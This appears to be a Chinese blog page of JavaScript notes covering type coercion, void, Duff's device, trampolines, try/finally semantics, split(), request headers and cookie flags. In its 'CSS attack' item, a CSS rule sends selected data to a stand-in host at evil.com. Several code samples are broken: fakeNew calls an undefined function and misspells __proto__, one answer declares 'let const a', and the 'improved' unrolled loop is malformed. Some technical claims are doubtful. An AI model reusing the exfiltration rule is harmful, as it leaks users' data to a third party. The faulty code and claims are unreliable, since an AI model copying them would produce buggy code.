6
7
8
function fakeNew() {
let obj = {};
let _argu = [].shift.call(arguments);
obj._proto_ = Object.setPrototypeOf(obj, _argu[0].prototype); // 或_argu[0].prototype;

let result = func.apply(obj, _argu);
return Object.prototype.toString.call(result) === '[object Object]' ? result : obj;
}

36 ==的隐式转换

以下假设为比较 x == y 的情况,Type(x)指的是 x 的数据类型,Type(y)指的是 y 的类型,最终返回值只有 true 或 false,会按照下面的步骤进行比较,如果有返回时就停止之后的步骤:

  • Type(x)与 Type(y)相同时,进行严格相等比较

  • x 是 undefined,而 y 是 null 时,返回 true

  • x 是 null,而 y 是 undefined 时,返回 true

  • Type(x)是 Number 而 Type(y)是 String 时,进行 x == ToNumber(y)比较

  • Type(x)是 String 而 Type(y)是 Number 时,进行 ToNumber(x) == y 比较

  • Type(x)是 Boolean 时,进行 ToNumber(x) == y

  • Type(y)是 Boolean 时,进行 x == ToNumber(y)

  • Type(x)是 Number 或 String 其中一种,而 Type(y)是个 Object 时,进行 x == ToPrimitive(y)比较

  • Type(x)是个 Object,而 Type(y)是 Number 或 String 其中一种时,进行 ToPrimitive(x) == y 比较

  • 其他情况,返回 false

ToPrimitive

在发生转换的时候,js 其实都是会将操作对象转化为原始的对象,这也是最为诟病的地方,因为 js 很难直接抛出错误,她会用一套自己的方法去理解我们的错误,并做相应的调整,哪怕这些错误我们是无意识的。所以我们要知道她的转换方式,才能做到知己知彼,对代码的控制更为精准。

1
ToPrimitive(input, PreferredType?) //PreferredType: Number 或者 String

流程如下:

  • input 为原始值,直接返回;
  • 不是原始值,调用该对象的 valueOf()方法,如果结果是原始值,返回原始值;
  • 调用 valueOf()不是原始值,调用此对象的 toString()方法,如果结果为原始值,返回原始值;
  • 如果返回的不是原始值,抛出异常 TypeError。
    其中 PreferredType 控制线调取 valueOf()还是 toString()。

思考如下几道题:

1
2
3
4
5
6
7
8
9
10
11
12
13
// ques.1
console.log([] == ![]);

// ques.2
if (a == 1 && a == 2 && a == 3) {
// 如何走进此判断语句
}

// ques.3
console.log([] + []);

// ques.4
console.log({} + 0);

结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// ans.1
true

// ans.2,方法不唯一,如valueOf、数组shift()
let const a = {
i: 1,
toString: function () {
return a.i++;
}
};

// ans.3
''

// ans.4
[object Object]0

37 innerText、textContent 和 innerHTML 三者的区别

首先,“innerText”、“textContent”和“innerHTML”这三个属性都可以设置标签中间的文本内容。(相同点)

不同点:

  • 设置标签中间的内容:如果内容中含有 html 标签的话,“innerText”和“textContent”是无法把 html 标签转化成标签的,而是当做纯文本内容显示出来,而“innerHTML”则可把内容中的标签转化成 html 标签
  • 获取标签中间的内容:“innerText”,“textContent”:获取的是该标签和该标签下子标签中的文本内容;“innerHTML”:获取的是该标签的所有内容,包括其子标签
  • textContent 却把代码搬过来并且解析不受样式的影响,innerText 解析代码但是受样式影响的

demo

1
<h1 id="test">测试一下:<span>h1能看到么?</span><span></span></h1>

分别来看下这三者的返回结果:
p-1.png

把其中一个<span>标签设置display: none;

1
<h1 id="test">测试一下:<span>h1能看到么?</span><span></span></h1>

再来看看这三者的返回结果:
p-2.png

把其中一个<span>标签设置visibility: hidden;
p-3.png

38 void操作符

void 运算符 对给定的表达式进行求值,然后返回 undefined。语法

1
void expression

为什么推荐用 void 0 而不是 undefined 来设置 undefined 值

因为 JavaScript 的代码 undefined 是一个变量,而并非是一个关键字,这是 JavaScript 语言公认的设计失误之一,虽然在新版浏览器中给定义 undefined 并赋值是无效的但还是建议使用 void 0 来获取 undefined 值。

39 使用 void

当年的 a 标签

1
2
3
<a href="javascript:void(0);">
这个链接点击之后不会做任何事情,如果去掉 void(), 点击之后整个页面会被替换成一个字符 0。
</a>

避免问题:

1
2
3
4
5
6
7
8
9
10
11
12
13
// 在使用立即执行的函数表达式时,可以利用 void 运算符让 JavaScript 引擎把一个function关键字识别成函数表达式而不是函数声明(语句)。
void (function iife() {
var bar = function () {};
var baz = function () {};
var foo = function () {
bar();
baz();
};
var biz = function () {};

foo();
biz();
})();

40 不受“管束”的 undefined

猛然见发现 IIFE(立即执行函数)有一个优点,就是解决 undefined 标识符的默认值被覆盖导致异常。如

1
2
3
4
5
6
7
undefined = 123;
(function (undefined) {
var a;
if (a === undefined) {
// ...
}
})();

为什么会这样呢?因为早期一些浏览器(至少我发现 IE8 是这样的)并没有制止 undefined 赋值的操作,也不报错,这样就会导致如下代码在部分浏览器中使 undefined 不再具备其意义。

1
2
undefined = true;
console.log(undefined); // 某些浏览器是true,新的浏览器都还是undefined

为了不影响老代码的正常运行,新版浏览器并不对 undefined 赋值操作进行报错,只是视为一条无用的表达式。

41 ObjectFunction的爱恨纠葛

先上一张图:
p-function-object.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// 构造器Function的构造器是它自身
Function.constructor === Function; // true

// 构造器Object的构造器是Function(由此可知所有构造器的constructor都指向Function)
Object.constructor === Function; // true

// 构造器Function的__proto__是一个特殊的匿名函数function() {}
console.log(Function.__proto__); // function() {}

// 这个特殊的匿名函数的__proto__指向Object的prototype原型。
Function.__proto__.__proto__ === Object.prototype; // true

// Object的__proto__指向Function的prototype,也就是上面所述的特殊匿名函数
Object.__proto__ === Function.prototype; // true
Function.prototype === Function.__proto__; // true

42 循环展开:麻烦的真相

任何编程语言中的循环都会增加额外的开销。循环通常需要维护一个计数器和/或检查结束条件,这两者都花费时间。

移除循环开销将提供一些性能提升。如

1
2
3
4
5
6
7
8
9
10
11
12
13
for (var i = 0; i < 8; i++) {
// do...
}

// 优化
// do..
// do..
// do..
// do..
// do..
// do..
// do..
// do..

不过数量少的迭代循环性能提升不大。有两个因素决定了循环展开是否会带来可观的好处:

  • 循环迭代的次数。需要许多(如上千)个迭代才能带来明显的区别。
  • 循环体开销和循环开销的比例。如果前者比后者的比例越大,性能提升越少。这是因为更多的时间是花费在循环体,而不是循环开销中。

然而现实中要展开成千上万的迭代并不现实。现实的解决方案是使用达夫设备经典算法的变种,部分展开循环。比如 1000 个迭代的循环可以分成 125 个展开 8 次的迭代:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
var testVal = 0;
var n = iterations % 8;

while (n--) {
testVal++;
}

n = parseInt(iterations / 8);
while (n--) {
testVal++;
testVal++;
testVal++;
testVal++;
testVal++;
testVal++;
testVal++;
testVal++;
}

改进:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
var testVal = 0;
var n = iterations >> 3;
while(n--) {
while(n--) {
testVal++;
testVal++;
testVal++;
testVal++;
testVal++;
testVal++;
testVal++;
testVal++;
}
n = iterations - testVal;
while(n--) {
testVal++;
}

达夫设备指的是由 Tom Duff 在 1983 年开发的一种循环展开的 C 语言优化技术。循环展开是汇编语言中常用的技术,细小的优化就可以在内存复制等领域发挥作用。具有优化功能的编译器也可能进行自动的循环展开。

43 trampoline 蹦床函数

可用于解决函数调用栈大小限制问题。即在最后一步调用函数,且实现函数的柯里化(多参函数转换成单参数函数)

当调用栈超出大小限制后,会抛出 RangeError。用蹦床(trampoline)原理的控制结构来消除这类错误。它的基本原理是,使用蹦床展平化处理,而不是深度嵌套的递归调用。

一个方法是返回一个函数,它包装调用,而不是直接调用。可以使用 trampoline 来实现这一点:

1
2
3
4
5
6
function trampoline(fun) {
while (fun && typeof fun === 'function') {
fun = fun();
}
return fun;
}

如:

1
2
3
4
5
6
7
8
function sum(x, y) {
if (y > 0) {
return sum.bind(null, x + 1, y - 1);
} else {
return x;
}
}
trampoline(sum(1, 100000));

由于调用链的间接性,使用蹦床增加了相互递归函数的一些开销。然而,慢总比溢出好。

44 String 优化

1
2
3
4
5
// way 1
'a,b,c'.split(',');

// way 2
'a0b0c0'.split(0);

虽然两种方式结果相同但是 way 2 的分隔条件可以节省 2 字节:使用数字来做为 split 的分隔条件可以节省 2 字节。

String 用于表示文本数据。String 有最大长度是 2^53 - 1,但 String 的意义并非“字符串”,而是字符串的 UTF16 编码,我们字符串的操作 charAt、charCodeAt、length 等方法针对的都是 UTF16 编码。所以,字符串的最大长度,实际上是受字符串的编码长度影响的。

现行的字符集国际标准,字符是以 Unicode 的方式表示的,每一个 Unicode 的码点表示一个字符,理论上,Unicode 的范围是无限的。UTF 是 Unicode 的编码方式,规定了码点在计算机中的表示方法,常见的有 UTF16 和 UTF8。 Unicode 的码点通常用 U+??? 来表示,其中 ??? 是十六进制的码点值。 0-65536(U+0000 - U+FFFF)的码点被称为基本字符区域(BMP)。

JavaScript 中的字符串是永远无法变更的,一旦字符串构造出来,无法用任何方式改变字符串的内容,所以字符串具有值类型的特征。

JavaScript 字符串把每个 UTF16 单元当作一个字符来处理,所以处理非 BMP(超出 U+0000 - U+FFFF 范围)的字符时,你应该格外小心。

JavaScript 这个设计继承自 Java,最新标准中是这样解释的,这样设计是为了“性能和尽可能实现起来简单”。因为现实中很少用到 BMP 之外的字符。

45 赋值 Undefined 的偏方

最推荐:void

如:

1
let a = void 0;

通过属性

如:

1
2
3
let a = ''._;
let b = (1)._;
let c = (0)[0];

try…catch…finally

有一个例子:

1
2
3
4
5
6
7
8
9
// test 1
function test() {
try {
return 1;
} catch (err) {
} finally {
console.log('finally');
}
}

运行结果是 return 和 console.log 都执行了。

第二个例子:

1
2
3
4
5
6
7
8
9
// test 2
function test2() {
try {
return 1;
} catch (err) {
} finally {
return 2;
}
}

运行结果是返回 2。

这一机制的基础正是 JavaScript 语句执行的完成状态,我们用一个标准类型来表示:Completion Record(用于描述异常、跳出等语句执行过程)。

Completion Record 表示一个语句执行完之后的结果,它有三个字段:

  • [[type]]: 表示完成的类型,有 break continue return throw 和 normal 几种类型;
  • [[value]]: 表示语句的返回值,如果语句没有,则是 empty;
  • [[target]]: 表示语句的目标,通常是一个 JavaScript 标签(标签在后文会有介绍)。

控制型语句带有 if、switch 关键字,它们会对不同类型的 Completion Record 产生反应。

控制类语句分成两部分,一类是对其内部造成影响,如 if、switch、while/for、try。另一类是对外部造成影响如 break、continue、return、throw,这两类语句的配合,会产生控制代码执行顺序和执行逻辑的效果,这也是我们编程的主要工作。

一般来说, for/while - break/continue 和 try - throw 这样比较符合逻辑的组合,是大家比较熟悉的,但是,实际上,我们需要控制语句跟 break 、continue 、return 、throw 四种类型与控制语句两两组合产生的效果。

语句/控制 break continue return throw
if 穿透 穿透 穿透 穿透
switch 消费 穿透 穿透 穿透
for/while 消费 消费 穿透 穿透
function 报错 报错 消费 穿透
try 特殊处理 特殊处理 特殊处理 消费
catch 特殊处理 特殊处理 特殊处理 穿透
finally 特殊处理 特殊处理 特殊处理 穿透

因为 finally 中的内容必须保证执行,所以 try/catch 执行完毕,即使得到的结果是非 normal 型的完成记录,也必须要执行 finally。

而当 finally 执行也得到了非 normal 记录,则会使 finally 中的记录作为整个 try 结构的结果。

46 为什么大多数编程语言中,数组要从 0 开始编号,而不是从 1 开始呢?

从数组存储的内存模型上来看,“下标”最确切的定义应该是“偏移(offset)”。前面也讲到,如果用 a 来表示数组的首地址,a[0]就是偏移为 0 的位置,也就是首地址,a[k]就表示偏移 k 个 type_size 的位置,所以计算 a[k]的内存地址只需要用这个公式:

1
a[k]_address = base_address + k * type_size

但是,如果数组从 1 开始计数,那我们计算数组元素 a[k]的内存地址就会变为:

1
a[k]_address = base_address + (k-1)*type_size

对比两个公式,我们不难发现,从 1 开始编号,每次随机访问数组元素都多了一次减法运算,对于 CPU 来说,就是多了一次减法指令。

数组作为非常基础的数据结构,通过下标随机访问数组元素又是其非常基础的编程操作,效率的优化就要尽可能做到极致。所以为了减少一次减法操作,数组选择了从 0 开始编号,而不是从 1 开始。

47 String.prototype.split()被我忽视的操作

1
str.split([separator[, limit]])

其中参数:

  • separator:
    指定表示每个拆分应发生的点的字符串。separator 可以是一个字符串或正则表达式。 如果纯文本分隔符包含多个字符,则必须找到整个字符串来表示分割点。如果在 str 中省略或不出现分隔符,则返回的数组包含一个由整个字符串组成的元素。如果分隔符为空字符串,则将 str 原字符串中每个字符的数组形式返回。
  • limit:
    一个整数,限定返回的分割片段数量。当提供此参数时,split 方法会在指定分隔符的每次出现时分割该字符串,但在限制条目已放入数组时停止。如果在达到指定限制之前达到字符串的末尾,它可能仍然包含少于限制的条目。新数组中不返回剩下的文本。

直接看例子,分隔标识符可以传正则和数组:

1
2
3
4
5
6
7
8
9
10
11
12
13
// regexp
var myString = 'Hello 1 word. Sentence number 2.';
var splits = myString.split(/(\d)/);

console.log(splits);

// array
const myString = 'ca,bc,a,bca,bca,bc';

const splits = myString.split(['a', 'b']);
// myString.split(['a','b']) is same as myString.split(String(['a','b']))

console.log(splits); //["c", "c,", "c", "c", "c"]

有这样一个需求,要在 url 中添加来源渠道号,用 frm 字段传递。

1
2
3
4
5
6
function addOperator(url, id) {
var _link = document.createElement('a');
_link.href = url;
_link.search = _link.search ? _link.search + '&frm=' + id : '?frm=' + id;
return _link.href;
}

49 Ajax

49.1 不可以通过 js 设置的请求头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Accept-Charset
Accept-Encoding
Access-Control-Request-Headers
Access-Control-Request-Method
Connection
Content-Length
Cookie
Cookie2
Content-Transfer-Encoding
Date
Expect
Host
Keep-Alive
Origin
Referer
TE
Trailer
Transfer-Encoding
Upgrade
User-Agent
Via
...

获取所有合法的响应头:XMLHttpRequest/getAllResponseHeaders

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var xhr = new XMLHttpRequest();
xhr.open('GET', 'foo.txt', true);
xhr.send();

xhr.getAllResponseHeaders();
/*
"connection: keep-alive
content-length: 146
content-security-policy: default-src 'none'
content-type: text/html; charset=utf-8
date: Thu, 09 Apr 2020 05:14:05 GMT
x-content-type-options: nosniff
x-powered-by: Express"
*/

HttpOnly 是指仅在 HTTP 层面上传输的 Cookie,当设置了 HttpOnly 标志后,客户端脚本就无法读写该 Cookie,这样能有效地防御 XSS 攻击获取 Cookie。

Secure Cookie 机制指的是设置了 Secure 标志的 Cookie 仅在 HTTPS 层面上安全传输,如果请求是 HTTP 的,就不会带上这个 Cookie,这样就能降低重要的 Cookie 被中间人截获的风险。不过对于客户端脚本来说 Secure Cookie 是可读写的。

49.3 CSS 攻击

如:

1
2
3
4
5
6
7
8
.btn {
/*...*/
}

.btn[type^='safe_'],
.btn::selection {
background: url(http://www.evil.com/css/steal.php?data=selection);
}

50. Array 与内存

在大多数计算机语言中,数组都对应着一段连续的内存。如果我们想要在任意位置删除一个元素,那么该位置往后的所有元素都需要往前挪一个位置。相应地,如果要在任意位置新增一个元素,那么该位置往后的所有元素也都要往后挪一个位置。时间复杂度为O(n)

但是呢 js 中不一定,比如:

1
[1, 2, 3, 4, 5, 6];

这样一个纯数字数组,它对应的确实是连续内存。
但如果我们定义了不同类型的元素:

1
['abc', 1, { b: 2 }];

这样一个数组对应的就是一段非连续的内存。其底层是由链表来实现的。

51.navigator.onLine 检验网络在线状态

navigator.onLine 属性返回一个布尔值(true/false),代表是否在线。一旦浏览器的联网状态发生改变,该属性值也会随之变化。
对应还有监听事件,如:

1
2
3
4
5
function logOnlineStatus() {
console.log(navigator.onLine ? '在线' : '不在线');
}
window.addEventListener('online', logOnlineStatus);
window.addEventListener('offline', logOnlineStatus);

兼容情况>>:基本全兼容。不过有个核心的问题,初始如果是 offline 的话,js 也不会加载到,然后就走不进监听中。

(0,fn)()

babel 执行时会把模块函数的执行修改为(0,_b.a)()。原因是为了保证函数执行时的 this 指向:由于逗号操作符,会把最右边的赋值给()里,即(0,_b.a)();等价于 varmethod=_b.a;然后立即执行,method();此时执行 a 方法的对象已经变为 window 了。a 中的 this 都指向 window 了。